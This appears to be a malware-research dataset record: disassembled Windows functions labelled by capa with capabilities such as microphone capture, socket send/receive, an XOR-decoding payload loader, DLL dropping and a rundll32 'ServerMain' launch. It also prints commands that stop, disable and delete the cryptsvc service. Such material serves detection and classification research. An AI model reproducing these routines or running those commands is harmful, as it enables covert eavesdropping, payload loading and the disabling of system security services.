joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ba50
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x30], 0
je 0x46bb8f
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xca], 0
je 0x46bad7
mov eax, ebx
call fcn.0040272c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x46bad0
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004029d8
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xcc]
call dword [ebx + 0xc8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bad7
mov eax, dword [ebp - 0xc]
call fcn.0040274c
ret
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
je 0x46baff
mov ecx, eax
mov edx, 0x46bbb0
mov eax, dword [ebp - 4]
call fcn.0046bd58
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.0040757c
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
je 0x46bb65
mov ecx, eax
mov edx, 0x46bbd0
mov eax, dword [ebp - 4]
call fcn.0046bd58
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
je 0x46bba3
mov ecx, eax
mov edx, 0x46bbf0
mov eax, dword [ebp - 4]
call fcn.0046bd58
jmp 0x46bba3
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 8
jne 0x46bba3
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0046bed8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46bc00
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 0x30], 0
jne 0x46bcd7
xor eax, eax
mov dword [ebx + 0xd0], eax
mov esi, esp
lea edi, [ebx + 0x3c]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp word [ebx + 0x3c], 1
jne 0x46bc43
or eax, 0xffffffff
jmp 0x46bc45
xor eax, eax
cmp word [esp], 1
jne 0x46bc6e
push 0x10000
push 0
mov edx, dword [ebx + 0xc0]
push edx
lea edx, [esp + 0xc]
push edx
push eax
lea eax, [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInOpen
jmp 0x46bc8e
push 0x10004
push 0
mov edx, dword [ebx + 0xc0]
push edx
lea edx, [esp + 0xc]
push edx
push eax
lea eax, [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
je 0x46bca0
mov ecx, eax
mov edx, 0x46bcec
mov eax, ebx
call fcn.0046bd58
movzx esi, byte [ebx + 0xbd]
test esi, esi
jle 0x46bcb5
mov eax, ebx
call fcn.0046be08
dec esi
jne 0x46bcab
mov eax, dword [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
je 0x46bcd3
mov ecx, eax
mov edx, 0x46bd00
mov eax, ebx
call fcn.0046bd58
mov byte [ebx + 0x30], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret

Function at 0x46c878
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
test edx, edx
jne 0x46c8b3
lea eax, [esp + 8]
call fcn.0045c898
lea edx, [esp + 8]
mov eax, dword [ebx + 0x50]
call fcn.0045c888
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg al
jmp 0x46c8e7
mov dword [esp], edx
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.0045c898
lea edx, [esp + 8]
mov eax, dword [ebx + 0x50]
call fcn.0045c888
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg al
add esp, 0x10c
pop ebx
ret
Function at 0x46c8f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x46c912
push ebx
mov ecx, esi
mov eax, esi
mov edx, ebx
call fcn.0041d41c
xor eax, eax
push ebp
push 0x46c9a4
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x46c97f
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ebx, ecx
je 0x46c99a
mov eax, ecx
xor edx, edx
cmp edx, 0xffffffff
jne 0x46c95e
cmp eax, 0xffffffff
jne 0x46c95e
call sub.wsock32.dll_WSAGetLastError
mov ecx, eax
cmp ecx, 0x2733
je 0x46c975
mov eax, dword [ebp - 4]
mov byte [eax + 0x4c], 0
jmp 0x46c99a
cmp ecx, 0xffffffff
jne 0x46c975
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x64
jbe 0x46c975
mov eax, dword [ebp - 4]
mov byte [eax + 0x4c], 0
jmp 0x46c99a
push 0x258
call sub.advapi32.dll_SetServiceStatus
mov eax, dword [ebp - 4]
cmp byte [eax + 0x4c], 0
je 0x46c99a
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
mov eax, dword [eax + 0x90]
cmp byte [eax + 8], 0
jne 0x46c922
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46c9b5
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x46c9c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x46ca88
push dword fs:[edx]
mov dword fs:[edx], esp
jmp 0x46ca5f
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x48]
mov eax, dword [ebp - 4]
call fcn.0046c878
test al, al
jne 0x46ca03
mov eax, dword [ebp - 4]
mov byte [eax + 0x4c], 0
jmp 0x46ca7e
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor edx, edx
cmp edx, 0xffffffff
jne 0x46ca43
cmp eax, 0xffffffff
jne 0x46ca43
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x46ca3a
mov eax, dword [ebp - 4]
mov byte [eax + 0x4c], 0
jmp 0x46ca7e
push 0x14
call sub.advapi32.dll_SetServiceStatus
jmp 0x46ca5f
cmp dword [ebp - 8], 0
jbe 0x46ca7e
test edi, edi
je 0x46ca7e
mov eax, dword [ebp - 8]
push eax
mov ecx, ebx
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0041d470
jmp 0x46ca7e
mov eax, dword [ebp - 4]
cmp byte [eax + 0x4c], 0
je 0x46ca7e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
mov eax, dword [eax + 0x90]
cmp byte [eax + 8], 0
jne 0x46c9e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46ca99
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x46e6dc
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46e7c2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.00404714
xor edx, edx
push ebp
push 0x46e79a
push dword fs:[edx]
mov dword fs:[edx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x48]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x48]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x46e738
pop dword fs:[0]
add esp, 8
jmp 0x46e7a4
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x46e767
push dword [ebp - 8]
push dword [edi]
call sub.wsock32.dll_inet_ntoa
lea edx, [ebp - 0x4c]
call fcn.00409920
push dword [ebp - 0x4c]
push 0x46e7d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404a94
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x46e73f
mov eax, dword [ebp - 8]
call fcn.004049d4
mov edx, eax
lea eax, [ebp - 8]
mov ecx, 1
call fcn.00404c74
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00404768
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46e7a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46e7c9
lea eax, [ebp - 0x4c]
call fcn.00404714
lea eax, [ebp - 8]
call fcn.00404714
ret
Function at 0x46fc30
Capabilities:
Get file system object information

Disassembly:
push ebx
add esp, 0xfffffea0
mov ebx, edx
push 0x4001
push 0x160
lea eax, [esp + 8]
push eax
push 0
push 0x46fc70
call sub.shell32.dll_SHGetFileInfoA
test eax, eax
je 0x46fc65
mov edx, eax
mov eax, ebx
call fcn.004404e4
mov byte [ebx + 0x42], 1
add esp, 0x160
pop ebx
ret

Function at 0x46fc48
Capabilities:
Get file system object information

Disassembly:
push ebx
add esp, 0xfffffea0
mov ebx, edx
push 0x4001
push 0x160
lea eax, [esp + 8]
push eax
push 0
push 0x46fc70
call sub.shell32.dll_SHGetFileInfoA
test eax, eax
je 0x46fc65
mov edx, eax
mov eax, ebx
call fcn.004404e4
mov byte [ebx + 0x42], 1
add esp, 0x160
pop ebx
ret

Function at 0x46fc74
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffea0
mov esi, ecx
mov ebx, edx
push 0x4010
push 0x160
lea eax, [esp + 8]
push eax
push esi
mov eax, ebx
call fcn.00404bd4
push eax
call sub.shell32.dll_SHGetFileInfoA
mov eax, dword [esp + 4]
add esp, 0x160
pop esi
pop ebx
ret

Function at 0x4736dc
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x473776
push dword fs:[eax]
mov dword fs:[eax], esp
test edx, edx
jne 0x473730
lea eax, [ebp - 0x10c]
call fcn.0045c898
lea edx, [ebp - 0x10c]
mov eax, dword [ebx + 0x44]
call fcn.0045c888
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg bl
jmp 0x47376c
mov dword [ebp - 8], edx
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10c]
call fcn.0045c898
lea edx, [ebp - 0x10c]
mov eax, dword [ebx + 0x44]
call fcn.0045c888
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x473782
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x473a70
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x473b1e
push dword fs:[eax]
mov dword fs:[eax], esp
test edx, edx
jne 0x473ace
lea eax, [ebp - 0x110]
call fcn.0045c898
lea edx, [ebp - 0x110]
mov eax, dword [ebx + 0x40]
mov eax, dword [eax + 0x90]
mov eax, dword [eax + 4]
call fcn.0045c888
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg byte [ebp - 1]
jmp 0x473b14
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x110]
call fcn.0045c898
lea edx, [ebp - 0x110]
mov eax, dword [ebx + 0x40]
mov eax, dword [eax + 0x90]
mov eax, dword [eax + 4]
call fcn.0045c888
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
setg byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x473b28
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x40558d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40559c
pop dword [ebp - 0x10]
mov eax, 0x40559c
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xa4daaf4c
sub dword [ebp - 0x20], 0x56886a01
mov dword [ebp - 0x1c], 0x389bc24b
sub dword [ebp - 0x1c], 0x6687606
mov dword [ebp - 0x18], 0xa7b93e21
add dword [ebp - 0x18], 0xa493060d
mov dword [ebp - 0x14], 0x513a0418
sub dword [ebp - 0x14], 0x513a0418
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x2c84c35c
add dword [ebp - 0x20], 0x47eda5fa
mov dword [ebp - 0x1c], 0x830c5944
add dword [ebp - 0x1c], 0xbe600831
mov dword [ebp - 0x18], 0xd877ac10
add dword [ebp - 0x18], 0x8af7c05c
mov dword [ebp - 0x14], 0x234aec05
sub dword [ebp - 0x14], 0x234aec05
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x7e8a0df9
add eax, 0x81b6022b
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35697
push 0
call eax
mov ecx, 0x73209783
add ecx, 0x8cdfa6ae
xor edi, edi
add edi, eax
mov edx, 0x16b5e74d
sub edx, 0x1672af4d
add edx, dword [ebp - 0x10]
mov esi, 0x3f32a996
add esi, 0xcc722a47
xor dword [ebp - 8], esi
mov ebx, dword [edx]
add dword [ebp - 4], 0x272db2a6
xor ebx, esi
xor dword [ebp - 4], ecx
mov dword [edi], ebx
add dword [ebp - 8], 0xb628a6fd
add edi, 0xf951a2ed
sub edi, 0xf951a2e9
add edx, 0x20437454
sub edx, 0x20437450
loop 0x4056b6
add eax, 0xd895f3d2
sub eax, 0xd895083b
xor ebx, ebx
add ebx, eax
add eax, 0x4b4a2585
add eax, 0xb4b5da80
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x508
test eax, eax
push ebp
mov ebp, dword [esp + 0x510]
push esi
push edi
je 0x401336
mov eax, dword [0x40f56c]
mov dword [esp + 0xc], 0
test eax, eax
jle 0x4012ec
mov edi, 0x40f570
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4012ca
test cl, cl
je 0x4012c6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4012ca
add eax, 2
add esi, 2
test cl, cl
jne 0x4012a6
xor eax, eax
jmp 0x4012cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40132a
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40f56c]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0xc], eax
jl 0x4012a2
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.binmesh.vso
push ebp
lea eax, [esp + 0x18]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401336
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x508
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.Client.exe
stosb byte es:[edi], al
call fcn.00402e70
mov eax, dword [0x40f56c]
mov edi, ebp
mov edx, eax
or ecx, 0xffffffff
shl edx, 6
add edx, eax
inc eax
mov dword [0x40f56c], eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x40f570]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.ksuser.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push str._s_s
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x124]
push ecx
call esi
lea edx, [esp + 0x128]
push edx
call fcn.00402db0
add esp, 0x18
lea eax, [esp + 0x114]
push 0
push eax
push 0x4115f0
call dword [0x40ea68]
push str.midimap.dll
push ebp
lea ecx, [esp + 0x11c]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x124]
push edx
call fcn.00402db0
add esp, 0x14
lea eax, [esp + 0x114]
push 0
push eax
push 0x4115f0
call dword [0x40ea68]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.msimg32.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402db0
add esp, 4
lea ecx, [esp + 0x114]
push 0
push ecx
push 0x4115f0
call dword [0x40ea68]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x508
ret
Function at 0x4019a0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40ea98]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401a2f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a1f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4019e8
test ebp, ebp
jle 0x401a5b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401a55
push esi
call fcn.004017d0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401a44
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40f154
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d710
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e1c
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40ea68]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402db0
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x4115f0
call dword [0x40ea68]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402db0
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40ea68]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x4021c0
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.00402580
call fcn.00402bd0
call fcn.00401a70
test eax, eax
je 0x402327
push str.Client.exe
call fcn.00402ca0
add esp, 4
test eax, eax
je 0x40220e
push str.Client.exe
call fcn.00402e70
add esp, 4
test eax, eax
jne 0x40220e
push eax
push 0x402160
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401b40
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401560
call fcn.00401660
call fcn.00401f10
cmp eax, 1
jne 0x40224c
call fcn.00401e90
call fcn.004019a0
jmp 0x402251
call fcn.00401e90
push esi
push edi
call fcn.00401fc0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40f154
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40f258
push 0x4115f0
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret